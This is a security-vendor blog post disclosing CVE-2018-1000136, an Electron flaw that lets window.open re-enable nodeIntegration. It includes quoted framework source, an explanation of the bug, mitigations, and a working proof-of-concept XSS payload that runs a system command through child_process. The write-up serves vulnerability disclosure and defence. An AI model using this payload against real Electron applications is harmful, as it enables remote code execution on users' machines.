Trustwave and Cybereason Merge to Form Global MDR Powerhouse for Unparalleled Cybersecurity Value. Learn More

Trustwave and Cybereason Merge to Form Global MDR Powerhouse for Unparalleled Cybersecurity Value. Learn More

Services
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

Database Security

Prevent unauthorized access and exceed compliance requirements.

Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Microsoft Security
Unlock the full power of Microsoft Security
Offensive Security
Solutions to maximize your security ROI
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats

CVE-2018-1000136 - Electron nodeIntegration Bypass

A few weeks ago, I came across a vulnerability that affected all current versions of Electron at the time (< 1.7.13, < 1.8.4, and < 2.0.0-beta.3). The vulnerability allowed nodeIntegration to be re-enabled, leading to the potential for remote code execution. If you're unfamiliar with Electron, it is a popular framework that allows you to create cross-platform desktop applications using HTML, CSS, and JavaScript. Some popular applications such as Slack, Discord, Signal, Atom, Visual Studio Code, and Github Desktop are all built using the Electron framework. You can find a list of applications built with Electron here.

Electron applications are essentially web apps, which means they're susceptible to cross-site scripting attacks through failure to correctly sanitize user-supplied input. A default Electron application includes access to not only its own APIs, but also includes access to all of Node.js' built in modules. This makes XSS particularly dangerous, as an attacker's payload can allow do some nasty things such as require in the child_processmodule and execute system commands on the client-side. Atom had an XSS vulnerabilitynot too long ago which did exactly that. You can remove access to Node.js by passing nodeIntegration: false into your application's webPreferences.

There's also a WebView tagfeature which allows you to embed content, such as web pages, into your Electron application and run it as a separate process. When using a WebView tag you are also able to pass in a number of attributes, including nodeIntegration. WebView containers do not have nodeIntegration enabled by default. The documentation states that if the webviewTag option is not explicitly declared in your webPreferences, it will inherit the same permissions of whatever the value of nodeIntegration is set to.

By default, Electron also uses its own custom window.open() function which creates a new instance of a BrowserWindow. The child window will inherit all of the parent window's options (which includes its webPreferences) by default. The custom window.open() function does allow you to override some of the inherited options by passing in a featuresargument:

if (!usesNativeWindowOpen) {
// Make the browser window or guest view emit "new-window" event.
window.open = function (url, frameName, features) {
if (url != null && url !== '') {
url = resolveURL(url)
}
const guestId = ipcRenderer.sendSync('ELECTRON_GUEST_WINDOW_MANAGER_WINDOW_OPEN', url, toString(frameName), toString(features))
if (guestId != null) {
return getOrCreateProxy(ipcRenderer, guestId)
} else {
return null
}
}

if (openerId != null) {
window.opener = getOrCreateProxy(ipcRenderer, openerId)
}
}

When Electron's custom window.open function is called, it emits an ELECTRON_GUEST_WINDOW_MANAGER_WINDOW_OPENevent. The ELECTRON_GUEST_WINDOW_MANAGER_WINDOW_OPEN event handlerthen parses the features provided, adding them as options to the newly created window and then emits an ELECTRON_GUEST_WINDOW_MANAGER_INTERNAL_WINDOW_OPENevent. To prevent child windows from being able to do nasty things like re-enabling nodeIntegration when the parent window has it explicitly disabled, guest-window-manager.jscontains a hardcoded list of webPreferences options and their restrictive values:

// Security options that child windows will always inherit from parent windows
const inheritedWebPreferences = new Map([
['contextIsolation', true],
['javascript', false],
['nativeWindowOpen', true],
['nodeIntegration', false],
['sandbox', true],
['webviewTag', false]
]);

The ELECTRON_GUEST_WINDOW_MANAGER_INTERNAL_WINDOW_OPEN event handler then calls the mergeBrowserWindowOptionsfunction which ensures that the restricted attributes of the parent window's webPreferences are applied to the child window:

  const mergeBrowserWindowOptions = function (embedder, options) {

[...]

// Inherit certain option values from parent window
for (const [name, value] of inheritedWebPreferences) {
if (embedder.getWebPreferences()[name] === value) {
options.webPreferences[name] = value
}
}

// Sets correct openerId here to give correct options to 'new-window' event handler
options.webPreferences.openerId = embedder.id

return options
}

And here is where the vulnerability lays. The mergeBrowserWindowOptions function didn't take into account what the default values of these restricted attributes should be if they were undefined. In other words, if webviewTag: falsewasn't explicitly declared in your application's webPreferences (and was therefore being inferred by explicitly setting nodeIntegration: false), when mergeBrowserWindowOptions went to check the webviewTag, it would then come back undefined thus making the above if statement return false and not apply the parent's webviewTag preference. This allowed window.open to pass the webviewTag option as an additional feature, re-enabling nodeIntegration and allowing the potential for remote code execution.

The following proof-of-concept shows how an XSS payload can re-enable nodeIntegration during run time and allow execution of system commands:

<script>
var x = window.open('data://yoloswag','','webviewTag=yes,show=no');
x.eval(
"var webview = new WebView;"+
"webview.setAttribute('webpreferences', 'webSecurity=no, nodeIntegration=yes');"+
"webview.src = `data:text/html;base64,PHNjcmlwdD5yZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygnbHMgLWxhJywgZnVuY3Rpb24gKGUscikgeyBhbGVydChyKTt9KTs8L3NjcmlwdD4=`;"+
"document.body.appendChild(webview)"
);
</script>

If you find an Electron application with the nodeIntegration option disabled and it contains either an XSS vulnerability through poor sanitization of user input or a vulnerability in another dependency of the application, the above proof-of-concept can allow for remote code execution provided that the application is using a vulnerable version of Electron (version < 1.7.13, < 1.8.4, or < 2.0.0-beta.3) , and hasn't manually opted into one of the following:

  • Declared webviewTag: false in its webPreferences.
  • Enabled the nativeWindowOption option in its webPreferences.
  • Intercepting new-window events and overriding event.newGuest without using the supplied options tag.

We'd also like to thank the Electron team for being extremely responsive and for quickly providing a patch to the public.

This vulnerability was assigned the CVE identifier CVE-2018-1000136.

ABOUT TRUSTWAVE

Trustwave is a globally recognized cybersecurity leader that reduces cyber risk and fortifies organizations against disruptive and damaging cyber threats. Our comprehensive offensive and defensive cybersecurity portfolio detects what others cannot, responds with greater speed and effectiveness, optimizes client investment, and improves security resilience. Learn more about us.

Latest Intelligence

Discover how our specialists can tailor a security program to fit the needs of
your organization.

Request a Demo